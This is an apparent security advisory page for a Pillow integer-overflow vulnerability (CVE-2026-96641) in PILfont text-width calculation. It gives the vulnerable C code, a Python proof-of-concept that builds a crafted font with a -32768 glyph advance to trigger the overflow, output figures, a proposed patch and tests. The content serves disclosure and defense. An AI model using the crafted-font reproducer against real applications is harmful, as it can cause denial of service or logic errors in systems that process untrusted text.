CVE-2026-96641: Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise

Published Oct 21, 2026
·
Updated

Summary Affected Object and Source

Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/imaging.c:2809:15, xsize += dx

Details The code in Pillow 12.3.0 is: c for (xsize = 0; text; text++) { int dx = self->glyphs[text].dx; if (dx > 0 && xsize > INTMAX - dx) { PyErrSetString(PyExcOverflowError, "Width too large"); return -1; } xsize += dx; } The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for dx is [-32768, 32767]. The existing check only proves: dx > 0 => xsize <= INTMAX - dx It does not prove the other half of the contract: dx < 0 => xsize >= INTMIN - dx Taking dx = -32768 and repeating it 65,537 times, the mathematical sum is -2,147,516,416, which is less than INTMIN = -2,147,483,648. On the 65,537th addition, the operation -2147483648 + -32768 is performed, resulting in C signed overflow undefined behavior.

PoC python """Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.

Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with the PyC-Contract UBSan build to obtain the exact native diagnostic. """

from future import annotations

import struct from io import BytesIO

import PIL from PIL import Image, ImageFont

ADVANCE = -(215) CONTROLREPEAT = 65536 WITNESSREPEAT = 65537

def bitmapfont(advance: int) -> ImageFont.ImageFont: metrics = bytearray(256 20) glyphoffset = ord("A") 20 metrics[glyphoffset : glyphoffset + 2] = struct.pack(">h", advance) fontdata = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics) font = ImageFont.ImageFont() font.loadpilfontdata(BytesIO(fontdata), Image.new("1", (1, 1))) return font

def main() -> None: font = bitmapfont(ADVANCE) print(f"Pillow={PIL.version}") print(f"controlmath={ADVANCE CONTROLREPEAT}") print(f"controlreturn={font.getlength('A' CONTROLREPEAT)}") print(f"witnessmath={ADVANCE WITNESSREPEAT}") print(f"witnessreturn={font.getlength('A' WITNESSREPEAT)}")

if name == "main": main()

Observations from a regular 12.3.0 release build:

text Pillow=12.3.0 controlmath=-2147483648 controlreturn=0 witnessmath=-2147516416 witnessreturn=2147450880

The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly INTMIN, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to 2,147,450,880.

Impact The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.

Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.

Recommended Patch and Regression Tests

It is recommended to extend the overflow check to cover both directions: c if ((dx > 0 && xsize > INTMAX - dx) || (dx < 0 && xsize < INTMIN - dx)) { PyErrSetString(PyExcOverflowError, "Width too large"); return -1; } At a minimum, four test cases should be added: 1. dx = 32767, repeat = 65538 — upper adjacent control (should succeed); 2. dx = 32767, repeat = 65539 — should raise OverflowError; 3. dx = -32768, repeat = 65536 — lower adjacent control (should succeed); 4. dx = -32768, repeat = 65537 — should raise OverflowError.

Additionally, it should be verified that exception propagation is consistent across getlength(), getbbox(), getmask(), and the underlying font.getsize().

Other sources

Pillow is a Python imaging library. Prior to 13.0.0, PILfont text-width accumulation in src/imaging.c checks positive glyph advances against INTMAX but does not check negative advances against INTMIN. Repeating a signed 16-bit advance of -32768 can therefore execute a signed C integer overflow in xsize += dx, producing a large positive width from a negative mathematical result. Applications that use getlength(), getsize(), or derived layout, quota, serialization, or allocation calculations can experience logic-integrity errors or resource consumption, while the high-level mask path commonly retains a decompression-bomb check. This issue is fixed in version 13.0.0.

— MITRE

Affected Software

15 affected componentsFixes available
pypi/Pillow<13.0.0
pip/pillow<13.0.0
13.0.0
Python Pillow<13.0.0
bitnami/pillow<13.0.0
13.0.0
ubuntu/pillow*
ubuntu/pillow*
ubuntu/pillow*
ubuntu/pillow*
ubuntu/pillow-python2*
ubuntu/pillow*
ubuntu/pillow*
ubuntu/pillow*
ubuntu/pillow*
IBM App Connect Operator<=CD: 12.1.0 - 12.21.0 12.0 LTS: 12.0.0 - 12.0.28 13 LTS: 13.0.0 - 13.6.0
IBM App Connect EnterpriseCertified Containers Operands<=CD: 12.0.11.1-r1 - 12.0.12.5-r1, 13.0.1.0-r1 - 13.0.6.2-r1 12.0 LTS: 12.0.12-r1 - 12.0.12-r28 13 LTS: 13.0.7.0-r1 - 13.0.9.0-r1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0
  2. Upgrade

    Upgrade bitnami/pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0
  3. Upgrade

    Upgrade Pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0

Event History

Oct 21, 2026
CVE Published
via MITRE·08:51 PM
Data Sourced
via MITRE·08:51 PM
DescriptionSeverityWeakness
Advisory Published
via OSV·09:20 PM
Data Sourced
via NVD·09:20 PM
RemedyDescriptionSeverityWeaknessAffected Software
Oct 22, 2026
Advisory Published
via GitHub·04:01 PM
Data Sourced
via GitHub·04:01 PM
DescriptionSeverityWeaknessAffected Software
Nov 9, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software
Nov 12, 2026
Data Sourced
via OSV·11:49 PM
Affected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

Which applications are realistically exposed?

Applications using Pillow versions before 13.0.0 are exposed if they call PILfont text-measurement functionality such as getlength(), getsize(), or calculations derived from those results. Risk is greatest where those measurements feed layout, quotas, serialization, or allocation decisions.

2

What does exploitation require?

An attacker needs to cause repeated glyph advances of -32768 during text-width accumulation. The vector is network-reachable in affected applications that process attacker-influenced text or font-related inputs, and user interaction is required according to the supplied severity vector.

3

Is a denial of service the only possible impact?

No. The overflow can turn a negative mathematical width into a large positive value, which can cause logic-integrity errors as well as resource consumption or denial of service. The high-level mask path commonly retains a decompression-bomb check, but that does not eliminate risks in downstream layout, quota, serialization, or allocation handling.

4

What should teams do if they cannot immediately upgrade?

Avoid using affected text-width results in allocation, quota, serialization, or other security-sensitive decisions when processing untrusted inputs. Where possible, restrict or validate inputs that can trigger repeated negative glyph advances and impose resource limits around downstream processing.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203